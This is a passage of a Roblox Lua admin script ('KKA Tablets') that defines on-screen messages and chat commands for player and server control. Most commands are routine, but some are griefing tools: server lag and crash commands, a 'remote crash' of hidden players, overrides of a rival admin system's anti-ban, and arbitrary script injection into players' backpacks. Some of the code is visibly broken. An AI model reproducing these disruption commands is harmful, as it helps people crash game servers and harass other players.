| 13458 | end | |
| 13459 | else | |
| 13460 | Player=p; | |
| 13461 | coroutine.wrap(function() | |
| 13462 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
| |
| 13463 | local Text = Instance.new("TextLabel", Msg)
| |
| 13464 | Text.Position = UDim2.new(0, 0, 0.7, 0) | |
| 13465 | Text.Font=4 | |
| 13466 | Text.FontSize=9 | |
| 13467 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
| 13468 | Text.BackgroundTransparency = 1 | |
| 13469 | Text.TextColor3 = Color3.new(1, 1, 1) | |
| 13470 | Text.TextTransparency = 1 | |
| 13471 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
| 13472 | Text.TextStrokeTransparency = 0 | |
| 13473 | Text.TextWrap = true | |
| 13474 | Text.Text = "Message from "..snder.Name.." :"..tostring(str) | |
| 13475 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2) | |
| 13476 | Text.TextTransparency = 0 | |
| 13477 | Num = #str * 0.06 | |
| 13478 | wait(3) | |
| 13479 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
| 13480 | wait(Num) | |
| 13481 | Msg:Remove() | |
| 13482 | end)() | |
| 13483 | end | |
| 13484 | end | |
| 13485 | function SystemMsg(str) | |
| 13486 | for _,Player in pairs(game.Players:GetPlayers()) do | |
| 13487 | coroutine.wrap(function() | |
| 13488 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
| |
| 13489 | local Text = Instance.new("TextLabel", Msg)
| |
| 13490 | Text.Position = UDim2.new(0, 0, 0, 0) | |
| 13491 | Text.Font='ArialBold' | |
| 13492 | Text.FontSize = "Size48" | |
| 13493 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
| 13494 | Text.BackgroundTransparency = 1 | |
| 13495 | Text.TextColor3 = Color3.new(25,0,50) | |
| 13496 | Text.TextTransparency = 0 | |
| 13497 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
| 13498 | Text.TextStrokeTransparency = 0 | |
| 13499 | Text.TextWrap = true | |
| 13500 | Text.Text = ' >-:{[(KKA System)]}:-< \n ' .. tostring(str)
| |
| 13501 | Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2) | |
| 13502 | Text.TextTransparency = 0.1 | |
| 13503 | ||
| 13504 | Num = #str * 0.06 | |
| 13505 | wait(6) | |
| 13506 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
| 13507 | wait(Num) | |
| 13508 | Msg:Remove() | |
| 13509 | end)() | |
| 13510 | end | |
| 13511 | end | |
| 13512 | function Hint(str,p,snder) | |
| 13513 | if p == nil then | |
| 13514 | for _,Player in pairs(game.Players:GetPlayers()) do | |
| 13515 | coroutine.wrap(function() | |
| 13516 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
| |
| 13517 | local Text = Instance.new("TextLabel", Msg)
| |
| 13518 | Text.Position = UDim2.new(0, 0, 0, 0) | |
| 13519 | Text.Font=4 | |
| 13520 | Text.FontSize=9 | |
| 13521 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
| 13522 | Text.BackgroundTransparency = 1 | |
| 13523 | Text.TextColor3 = Color3.new(1, 1, 1) | |
| 13524 | Text.TextTransparency = 1 | |
| 13525 | Text.TextWrap = true | |
| 13526 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
| 13527 | Text.TextStrokeTransparency = 0 | |
| 13528 | Text.Text = "Hint from "..snder.Name.." :"..tostring(str) | |
| 13529 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
| 13530 | Text.TextTransparency = 0 | |
| 13531 | Num = #str * 0.06 | |
| 13532 | wait(3) | |
| 13533 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
| 13534 | wait(Num) | |
| 13535 | Msg:Remove() | |
| 13536 | end)() | |
| 13537 | end | |
| 13538 | else | |
| 13539 | Player=p | |
| 13540 | coroutine.wrap(function() | |
| 13541 | local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
| |
| 13542 | local Text = Instance.new("TextLabel", Msg)
| |
| 13543 | Text.Position = UDim2.new(0, 0, 0, 0) | |
| 13544 | Text.Font=4 | |
| 13545 | Text.FontSize=9 | |
| 13546 | Text.BackgroundColor3 = Color3.new(255,255,255) | |
| 13547 | Text.BackgroundTransparency = 1 | |
| 13548 | Text.TextColor3 = Color3.new(1, 1, 1) | |
| 13549 | Text.TextTransparency = 1 | |
| 13550 | Text.TextWrap = true | |
| 13551 | Text.Text = "Hint from "..snder.Name..": "..tostring(str) | |
| 13552 | Text.TextStrokeColor3 = Color3.new(111,111,111) | |
| 13553 | Text.TextStrokeTransparency = 0 | |
| 13554 | Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2) | |
| 13555 | Text.TextTransparency = 0 | |
| 13556 | Num = #str * 0.06 | |
| 13557 | wait(3) | |
| 13558 | Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad") | |
| 13559 | wait(Num) | |
| 13560 | Msg:Remove() | |
| 13561 | end)() | |
| 13562 | end | |
| 13563 | end | |
| 13564 | Command("Explore", 3, "Opens the explorer system", function(Msg, Speaker)
| |
| 13565 | MakeExplorer(Speaker) | |
| 13566 | end) | |
| 13567 | Command("Info", 1, "Information about KKA Tablets", function(Msg, Speaker)
| |
| 13568 | wait() | |
| 13569 | Dismiss(Speaker) | |
| 13570 | NumBanned = 0 | |
| 13571 | NumCmds = 0 | |
| 13572 | for i = 1, #Ranked do | |
| 13573 | if Ranked[i].Rank < 0 then | |
| 13574 | NumBanned = NumBanned + 1 | |
| 13575 | end | |
| 13576 | end | |
| 13577 | for i,v in pairs(Commands) do | |
| 13578 | NumCmds = NumCmds + 1 | |
| 13579 | end | |
| 13580 | Output("Admin Name: KKA Tablets Generation 6", Speaker)
| |
| 13581 | Output("Started on 6/2/2014", Speaker)
| |
| 13582 | Output("Cobalt1164", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
| |
| 13583 | Output("Major Credit and Part of these tabs to SolarG2 About 90% of these tabs are solar. Maybe more, maybe less. | Also DVF for the Script Base",Speaker)
| |
| 13584 | Output("A bit thanks to einsteinK", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=einsteinK")
| |
| 13585 | Output("Also credit to MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
| |
| 13586 | Output("Your ID: "..Speaker.userId, Speaker)
| |
| 13587 | Output("PlayersNumber: "..#All2(), Speaker)
| |
| 13588 | Output("Commands: "..NumCmds, Speaker)
| |
| 13589 | Output("Banned Players: "..NumBanned, Speaker)
| |
| 13590 | end) | |
| 13591 | Command("Ranks", 1, "Shows all player's ranks", function(Msg, Speaker)
| |
| 13592 | Dismiss(Speaker) | |
| 13593 | for i,v in pairs(All(Msg:lower() ~= "debug")) do | |
| 13594 | Output(v.Name.." ("..FindRank(v)")",Speaker)
| |
| 13595 | end | |
| 13596 | end) | |
| 13597 | Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
| |
| 13598 | local Split = GetSplit(Msg) | |
| 13599 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13600 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13601 | for _,v in pairs(PlrTab) do | |
| 13602 | ypcall(function() | |
| 13603 | game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
| |
| 13604 | Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
| |
| 13605 | end) | |
| 13606 | end | |
| 13607 | end) | |
| 13608 | Command("CSpeak", 3, "Speak for a player", function(Msg, Speaker)
| |
| 13609 | local Split = GetSplit(Msg) | |
| 13610 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13611 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13612 | for _,v in pairs(PlrTab) do | |
| 13613 | ypcall(function() | |
| 13614 | game:GetService("Chat"):Chat(v.Character.Head,Msg,1)
| |
| 13615 | Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
| |
| 13616 | end) | |
| 13617 | end | |
| 13618 | end) | |
| 13619 | Command("PShout", 3, "Shout for a player", function(Msg, Speaker)
| |
| 13620 | local Split = GetSplit(Msg) | |
| 13621 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13622 | local Msg = tostring(Msg:sub(Split + 1)) | |
| 13623 | for _,v in pairs(PlrTab) do | |
| 13624 | ypcall(function() | |
| 13625 | game:GetService("Chat"):Chat(v.Character.Head,Msg,2)
| |
| 13626 | Output("Made "..v.Name.." shout "..tostring(Msg), Speaker)
| |
| 13627 | end) | |
| 13628 | end | |
| 13629 | end) | |
| 13630 | Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
| |
| 13631 | local Split = GetSplit(Msg) | |
| 13632 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13633 | local Id = tonumber(Msg:sub(Split + 1)) | |
| 13634 | for _,v in pairs(PlrTab) do | |
| 13635 | ypcall(function() | |
| 13636 | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id) | |
| 13637 | v:LoadCharacter() | |
| 13638 | Output("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
| |
| 13639 | end) | |
| 13640 | end | |
| 13641 | end) | |
| 13642 | Command("Unchar", 3, "Removes a player's appearance", function(Msg, Speaker)
| |
| 13643 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13644 | for _,v in pairs(PlrTab) do | |
| 13645 | ypcall(function() | |
| 13646 | v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..userId | |
| 13647 | v:LoadCharacter() | |
| 13648 | Output("Removed "..v.Name.."'s appearance", Speaker)
| |
| 13649 | end) | |
| 13650 | end | |
| 13651 | end) | |
| 13652 | Command("Ws", 1, "Set A Player's WalkSpeed", function(Msg, Speaker)
| |
| 13653 | local Split = GetSplit(Msg) | |
| 13654 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13655 | local Speed = tonumber(Msg:sub(Split + 1)) | |
| 13656 | for _,v in pairs(PlrTab) do | |
| 13657 | ypcall(function() | |
| 13658 | v.Character.Humanoid.WalkSpeed = Speed | |
| 13659 | Output("Changed "..v.Name.."'s walkspeed to "..tostring(Speed), Speaker)
| |
| 13660 | end) | |
| 13661 | end | |
| 13662 | end) | |
| 13663 | Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
| |
| 13664 | local Split = GetSplit(Msg) | |
| 13665 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13666 | local Name = tostring(Msg:sub(Split + 1)) | |
| 13667 | for _,v in pairs(PlrTab) do | |
| 13668 | ypcall(function() | |
| 13669 | coroutine.resume(coroutine.create(function() | |
| 13670 | if v and v.Character and v.Character:findFirstChild("Head") then
| |
| 13671 | for a, derp in pairs(v.Character:children()) do | |
| 13672 | if derp:findFirstChild("NameTag") then
| |
| 13673 | v.Character.Head.Transparency = 0 | |
| 13674 | derp:Destroy() | |
| 13675 | end | |
| 13676 | end | |
| 13677 | local char = v.Character | |
| 13678 | local derp = Instance.new("Model", char)
| |
| 13679 | derp.Name = tostring(Name) | |
| 13680 | local cl = char.Head:Clone() | |
| 13681 | cl.Parent = derp | |
| 13682 | local hum = Instance.new("Humanoid", derp)
| |
| 13683 | hum.Name = "NameTag" | |
| 13684 | hum.MaxHealth = 0 | |
| 13685 | hum.Health = 0 | |
| 13686 | local weld = Instance.new("Weld", cl)
| |
| 13687 | weld.Part0 = cl | |
| 13688 | weld.Part1 = char.Head | |
| 13689 | char.Head.Transparency = 1 | |
| 13690 | Output("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
| |
| 13691 | end | |
| 13692 | end)) | |
| 13693 | end) | |
| 13694 | end | |
| 13695 | end) | |
| 13696 | Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
| |
| 13697 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13698 | for _,v in pairs(PlrTab) do | |
| 13699 | ypcall(function() | |
| 13700 | coroutine.resume(coroutine.create(function() | |
| 13701 | if v and v.Character and v.Character:findFirstChild("Head") then
| |
| 13702 | for a, derp in pairs(v.Character:children()) do | |
| 13703 | if derp:findFirstChild("NameTag") then
| |
| 13704 | v.Character.Head.Transparency = 0 | |
| 13705 | derp:Destroy() | |
| 13706 | end | |
| 13707 | end | |
| 13708 | end | |
| 13709 | end)) | |
| 13710 | Output("Removed "..v.Name.."'s Name", Speaker)
| |
| 13711 | end) | |
| 13712 | end | |
| 13713 | end) | |
| 13714 | Command("Door", 7, "Open/Closes the door", function(Msg,Speaker)
| |
| 13715 | if Msg == "open" then | |
| 13716 | wall1.CanCollide = false | |
| 13717 | elseif Msg == "close" then | |
| 13718 | wall1.CanCollide = true | |
| 13719 | end | |
| 13720 | end) | |
| 13721 | Command("Wall", 7, "Open/Closes the walls", function(Msg,Speaker)
| |
| 13722 | if Msg == "open" then | |
| 13723 | wall1.CanCollide = false | |
| 13724 | wall2.CanCollide = false | |
| 13725 | wall3.CanCollide = false | |
| 13726 | wall4.CanCollide = false | |
| 13727 | roof.CanCollide = false | |
| 13728 | floo.CanCollide = false | |
| 13729 | elseif Msg == "close" then | |
| 13730 | wall1.CanCollide = true | |
| 13731 | wall2.CanCollide = true | |
| 13732 | wall3.CanCollide = true | |
| 13733 | wall4.CanCollide = true | |
| 13734 | roof.CanCollide = true | |
| 13735 | floo.CanCollide = true | |
| 13736 | end | |
| 13737 | end) | |
| 13738 | Command("Room", 7, "Adds a room into the game", function(Msg, Speaker)
| |
| 13739 | floo=Instance.new("Part",Workspace)
| |
| 13740 | floo.Anchored = true | |
| 13741 | floo.Size = Vector3.new(50, 1, 50) | |
| 13742 | floo.TopSurface = "Smooth" | |
| 13743 | floo.BottomSurface = "Smooth" | |
| 13744 | floo.BrickColor = BrickColor.new("Really black")
| |
| 13745 | floo.Locked = true | |
| 13746 | floo.Transparency = 0.5 | |
| 13747 | floo.CFrame = CFrame.new(0, 0, 0) | |
| 13748 | wall1 = Instance.new("Part", workspace)
| |
| 13749 | wall1.Size = Vector3.new(1, 20, 51) | |
| 13750 | wall1.Anchored = true | |
| 13751 | wall1.BrickColor = BrickColor.new("Really blue")--
| |
| 13752 | wall1.Transparency = 0 | |
| 13753 | wall1.TopSurface = "Smooth" | |
| 13754 | wall1.BottomSurface = "Smooth" | |
| 13755 | wall1.CFrame = CFrame.new(-25, 10, 0) | |
| 13756 | wall1.Transparency = 0.5 | |
| 13757 | wall2 = Instance.new("Part", workspace)
| |
| 13758 | wall2.Size = Vector3.new(51, 20, 1) | |
| 13759 | wall2.Anchored = true | |
| 13760 | wall2.BrickColor = BrickColor.new("Really black")--
| |
| 13761 | wall2.Transparency = 0 | |
| 13762 | wall2.TopSurface = "Smooth" | |
| 13763 | wall2.BottomSurface = "Smooth" | |
| 13764 | wall2.CFrame = CFrame.new(0, 10, 25) | |
| 13765 | wall2.Transparency = 0.5 | |
| 13766 | wall3 = Instance.new("Part", workspace)
| |
| 13767 | wall3.Size = Vector3.new(1, 20, 51) | |
| 13768 | wall3.Anchored = true | |
| 13769 | wall3.BrickColor = BrickColor.new("Really black")--
| |
| 13770 | wall3.Transparency = 0 | |
| 13771 | wall3.TopSurface = "Smooth" | |
| 13772 | wall3.BottomSurface = "Smooth" | |
| 13773 | wall3.CFrame = CFrame.new(25, 10, 0) | |
| 13774 | wall3.Transparency = 0.5 | |
| 13775 | wall4 = Instance.new("Part", workspace)
| |
| 13776 | wall4.Size = Vector3.new(51, 20, 1) | |
| 13777 | wall4.Anchored = true | |
| 13778 | wall4.BrickColor = BrickColor.new("Really black")--
| |
| 13779 | wall4.Transparency = 0 | |
| 13780 | wall4.TopSurface = "Smooth" | |
| 13781 | wall4.BottomSurface = "Smooth" | |
| 13782 | wall4.CFrame = CFrame.new(0, 10, -25) | |
| 13783 | wall4.Transparency = 0.5 | |
| 13784 | roof = Instance.new("Part", workspace)
| |
| 13785 | roof.Anchored = true | |
| 13786 | roof.Size = Vector3.new(51, 1, 51) | |
| 13787 | roof.TopSurface = "Smooth" | |
| 13788 | roof.BottomSurface = "Smooth" | |
| 13789 | roof.BrickColor = BrickColor.new("Really black")
| |
| 13790 | roof.Locked = true | |
| 13791 | roof.CFrame = CFrame.new(0, 20.5, 0) | |
| 13792 | roof.Transparency = 0.5 | |
| 13793 | Output("Created a spawn-room", Speaker, 5)
| |
| 13794 | end) | |
| 13795 | Command("InsIn", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
| |
| 13796 | local Split = GetSplit(Msg) | |
| 13797 | local Parent = tostring(Msg:sub(Split - 1)) | |
| 13798 | local Object = tostring(Msg:sub(Split + 1)) | |
| 13799 | for _,v in pairs(Parent) do | |
| 13800 | ypcall(function() | |
| 13801 | Instance.new(Object, Parent) | |
| 13802 | end) | |
| 13803 | end | |
| 13804 | end) | |
| 13805 | Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
| |
| 13806 | local Split = GetSplit(Msg) | |
| 13807 | local Parent = tostring(Msg:sub(Split - 1)) | |
| 13808 | local Object = tostring(Msg:sub(Split + 1)) | |
| 13809 | for _,v in pairs(Parent) do | |
| 13810 | ypcall(function() | |
| 13811 | game[Parent].Object:Remove() | |
| 13812 | end) | |
| 13813 | end | |
| 13814 | end) | |
| 13815 | Command("FinishV", 6, "Finishes the voting function", function(Msg, Speaker)
| |
| 13816 | Output(tonumber(Yes).."[Yes]", Speaker) | |
| 13817 | Output(tonumber(No).."[No]", Speaker) | |
| 13818 | wait(1) | |
| 13819 | Yes = 0 | |
| 13820 | No = 0 | |
| 13821 | end) | |
| 13822 | Command("Vote", 6, "Creates a vote for the players to choose [Yes/No]", function(Msg, Speaker)
| |
| 13823 | local Split = GetSplit(Msg) | |
| 13824 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13825 | local Vote = tostring(Msg:sub(Split + 1)) | |
| 13826 | for _,v in pairs(PlrTab) do | |
| 13827 | ypcall(function() | |
| 13828 | Output("Yes", v,500,function() Yes = Yes + 1 Dismiss(v)end)
| |
| 13829 | Output("No", v,500,function() No = No + 1 Dismiss(v)end)
| |
| 13830 | Output(tostring(Vote).."say FinV [Rank 6] when everyone's finished,", v,nil) | |
| 13831 | end) | |
| 13832 | end | |
| 13833 | end) | |
| 13834 | Command("SHP", 1, "Set A Player's Health", function(Msg, Speaker)
| |
| 13835 | local Split = GetSplit(Msg) | |
| 13836 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13837 | local Hp = tonumber(Msg:sub(Split + 1)) | |
| 13838 | for _,v in pairs(PlrTab) do | |
| 13839 | ypcall(function() | |
| 13840 | v.Character.Humanoid.MaxHealth = Hp | |
| 13841 | v.Character.Humanoid.Health = Hp | |
| 13842 | Output("Changed "..v.Name.."'s health to "..tostring(Hp), Speaker)
| |
| 13843 | end) | |
| 13844 | end | |
| 13845 | end) | |
| 13846 | Command("S", 5, "Adds a script in workspace", function(Msg, Speaker)
| |
| 13847 | ypcall(function() | |
| 13848 | NewS(Msg, game.Workspace) | |
| 13849 | Output("Added a script in Workspace", Speaker)
| |
| 13850 | end) | |
| 13851 | end) | |
| 13852 | Command("Ls", 5, "Adds a Local script into a player", function(Msg, Speaker)
| |
| 13853 | local Split = GetSplit(Msg) | |
| 13854 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13855 | local Txt = tostring(Msg:sub(Split + 1)) | |
| 13856 | for _,v in pairs(PlrTab) do | |
| 13857 | ypcall(function() | |
| 13858 | NewLS(Txt, v.Backpack) | |
| 13859 | Output("Added a local script in "..v.Name.."'s backpack", Speaker)
| |
| 13860 | end) | |
| 13861 | end | |
| 13862 | end) | |
| 13863 | Command("Damage", 1, "Damages a player", function(Msg, Speaker)
| |
| 13864 | local Split = GetSplit(Msg) | |
| 13865 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13866 | local Dmg = tonumber(Msg:sub(Split + 1)) | |
| 13867 | for _,v in pairs(PlrTab) do | |
| 13868 | ypcall(function() | |
| 13869 | v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg | |
| 13870 | Output("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
| |
| 13871 | end) | |
| 13872 | end | |
| 13873 | end) | |
| 13874 | Command("Heal", 1, "Recovers a player", function(Msg, Speaker)
| |
| 13875 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13876 | for _,v in pairs(PlrTab) do | |
| 13877 | ypcall(function() | |
| 13878 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
| 13879 | Output("Recovered "..v.Name.." from injuries"..tostring(Dmg), Speaker)
| |
| 13880 | end) | |
| 13881 | end | |
| 13882 | end) | |
| 13883 | Command("AddH", 1, "Adds health to a player", function(Msg, Speaker)
| |
| 13884 | local Split = GetSplit(Msg) | |
| 13885 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 13886 | local Hp = tonumber(Msg:sub(Split + 1)) | |
| 13887 | for _,v in pairs(PlrTab) do | |
| 13888 | ypcall(function() | |
| 13889 | v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp | |
| 13890 | Output("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
| |
| 13891 | end) | |
| 13892 | end | |
| 13893 | end) | |
| 13894 | Command("Unab", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
| |
| 13895 | local RemoveAB = Instance.new("StringValue")
| |
| 13896 | RemoveAB.Name = "CBA Attachment" | |
| 13897 | RemoveAB.Value = [[CBA.override=true;]] | |
| 13898 | RemoveAB.Parent = Work | |
| 13899 | Output("Removed All CBA Anti-Bans", Speaker, 5)
| |
| 13900 | end) | |
| 13901 | Command("Uncba", 3, "Removes CBA Admin", function(Msg, Speaker)
| |
| 13902 | local RemoveCBA = Instance.new("StringValue")
| |
| 13903 | RemoveCBA.Name = "CBA Attachment" | |
| 13904 | RemoveCBA.Value = [[CBA.remove = false]] | |
| 13905 | RemoveCBA.Parent = Work | |
| 13906 | Output("Removed All CBA Admins", Speaker, 5)
| |
| 13907 | end) | |
| 13908 | Command("Shutdown", 6, "Shuts the server down[REAL]", function(Msg, Speaker)
| |
| 13909 | for v, pairs in (game.Players:GetPlayers()) do | |
| 13910 | v:Kick() | |
| 13911 | end | |
| 13912 | end) | |
| 13913 | Command("LagS", 6, "Lags the server down", function(Msg, Speaker)
| |
| 13914 | repeat | |
| 13915 | print('Lag?')
| |
| 13916 | until | |
| 13917 | game == nil | |
| 13918 | end) | |
| 13919 | Command("Cut", 7, "Cuts the plug", function(Msg, Speaker)
| |
| 13920 | NewS(ServerCrash, game.Workspace) | |
| 13921 | end) | |
| 13922 | Command("Cp", 4, "Turns crash phrases on/off", function(Msg, Speaker)
| |
| 13923 | if Msg == "on" then | |
| 13924 | CrashPhrases = true | |
| 13925 | Output("Crash Phrases are on", Speaker, 5)
| |
| 13926 | elseif Msg == "off" then | |
| 13927 | CrashPhrases = false | |
| 13928 | Output("Crash Phrases are off", Speaker, 5)
| |
| 13929 | end | |
| 13930 | end) | |
| 13931 | Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
| |
| 13932 | if Msg == "on" then | |
| 13933 | game:GetService("HttpService").HttpEnabled = true
| |
| 13934 | Output("HttpService is on", Speaker, 5)
| |
| 13935 | elseif Msg == "off" then | |
| 13936 | game:GetService("HttpService").HttpEnabled = false
| |
| 13937 | Output("HttpService is off", Speaker, 5)
| |
| 13938 | end | |
| 13939 | end) | |
| 13940 | Command("Sl", 7, "Turns Scripting on/off", function(Msg, Speaker)
| |
| 13941 | if Msg == "on" then | |
| 13942 | ScriptingLocked = false | |
| 13943 | Output("Scripting is enabled", Speaker, 5)
| |
| 13944 | elseif Msg == "off" then | |
| 13945 | ScriptingLocked = true | |
| 13946 | Output("Scripting is disabled", Speaker, 5)
| |
| 13947 | end | |
| 13948 | end) | |
| 13949 | Command("RemoveK", 4, "Removes the player from the game", function(Msg, Speaker)
| |
| 13950 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13951 | if #PlrTab > 0 then | |
| 13952 | for _,v in pairs(PlrTab) do | |
| 13953 | ypcall(function() | |
| 13954 | v:Remove() | |
| 13955 | Output("Removed Kicked "..v.Name, Speaker, 5)
| |
| 13956 | end) | |
| 13957 | end | |
| 13958 | end | |
| 13959 | end) | |
| 13960 | Command("Kk", 4, "Crash kicks a player from the server", function(Msg, Speaker)
| |
| 13961 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13962 | if #PlrTab > 0 then | |
| 13963 | for _,v in pairs(PlrTab) do | |
| 13964 | ypcall(function() | |
| 13965 | v:Kick() | |
| 13966 | Output("Killer Kicked "..v.Name, Speaker, 5)
| |
| 13967 | end) | |
| 13968 | end | |
| 13969 | end | |
| 13970 | end) | |
| 13971 | Command("RemoteC", 5, "Remote crashes a nil'd player", function(Msg, Speaker)
| |
| 13972 | RemoteCrash(tostring(Msg)) | |
| 13973 | end) | |
| 13974 | Command("Ginfo", 1, "Shows the server's information", function(Msg, Speaker)
| |
| 13975 | Output("Creator's ID: "..game.CreatorId, Speaker)
| |
| 13976 | Output("Job's ID: "..game.JobId, Speaker)
| |
| 13977 | Output("Place's ID: "..game.PlaceId, Speaker)
| |
| 13978 | Output("Place Version: "..game.PlaceVersion, Speaker)
| |
| 13979 | Output("Number of Players: "..game.Players.NumPlayers, Speaker)
| |
| 13980 | Output("Game Running Time: "..game.Workspace.DistributedGameTime, Speaker)
| |
| 13981 | Output("Game Name: "..game.Workspace.Parent.Name, Speaker)
| |
| 13982 | end) | |
| 13983 | Command("Ban", 6, "Bans a player from the server", function(Msg, Speaker)
| |
| 13984 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13985 | if #PlrTab > 0 then | |
| 13986 | for _,v in pairs(PlrTab) do | |
| 13987 | ypcall(function() | |
| 13988 | ChangeRank(v, -1) | |
| 13989 | v:Kick() | |
| 13990 | end) | |
| 13991 | end | |
| 13992 | end | |
| 13993 | end) | |
| 13994 | Command("Wzrd", 7, "Turns a player into a wizard", function(Msg, Speaker)
| |
| 13995 | local PlrTab = getPlayer(Speaker, Msg) | |
| 13996 | if #PlrTab > 0 then | |
| 13997 | for _,v in pairs(PlrTab) do | |
| 13998 | ypcall(function() | |
| 13999 | NewLS(Wizard, v.Backpack) | |
| 14000 | Output("Turned "..v.Name.." into a wizard", Speaker, 5)
| |
| 14001 | end) | |
| 14002 | end | |
| 14003 | end | |
| 14004 | end) | |
| 14005 | ||
| 14006 | Command("SKit", 7, "Gives a player Shadow Kit", function(Msg, Speaker)
| |
| 14007 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
| 14008 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14009 | if #PlrTab > 0 then | |
| 14010 | for _,v in pairs(PlrTab) do | |
| 14011 | ypcall(function() | |
| 14012 | NewLS(Wizard, v.Backpack) | |
| 14013 | NewLS(YamatoSword, v.Backpack) | |
| 14014 | NewLS(Test2, v.Backpack) | |
| 14015 | NewLS(Shoop, v.Backpack) | |
| 14016 | NewLS(SoulCrushingKarate, v.Backpack) | |
| 14017 | Output("Gave "..v.Name.." Shadow Kit", Speaker, 5)
| |
| 14018 | end) | |
| 14019 | end | |
| 14020 | end | |
| 14021 | else | |
| 14022 | Output("Your not allowed to use this kit", Speaker)
| |
| 14023 | return | |
| 14024 | end | |
| 14025 | end) | |
| 14026 | ||
| 14027 | Command("Ys", 7, "Gives a player YamatoSword", function(Msg, Speaker)
| |
| 14028 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14029 | if #PlrTab > 0 then | |
| 14030 | for _,v in pairs(PlrTab) do | |
| 14031 | ypcall(function() | |
| 14032 | NewLS(YamatoSword, v.Backpack) | |
| 14033 | Output("Gave "..v.Name.." yamato sword", Speaker, 5)
| |
| 14034 | end) | |
| 14035 | end | |
| 14036 | end | |
| 14037 | end) | |
| 14038 | ||
| 14039 | ||
| 14040 | Command("Apb", 7, "Gives a player Armatae Path Bringer", function(Msg, Speaker)
| |
| 14041 | if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then | |
| 14042 | local PlrTab = getPlayer(Speaker, Msg) | |
| 14043 | if #PlrTab > 0 then | |
| 14044 | for _,v in pairs(PlrTab) do | |
| 14045 | ypcall(function() | |
| 14046 | NewLS(Test2, v.Backpack) | |
| 14047 | Output("Gave "..v.Name.." Armatae Path Bringer", Speaker, 5)
| |
| 14048 | end) | |
| 14049 | end | |
| 14050 | end | |
| 14051 | else | |
| 14052 | Output("Sorry,This is a test weapon you're not allowed to use this.", Speaker)
| |
| 14053 | return | |
| 14054 | end | |
| 14055 | end) | |
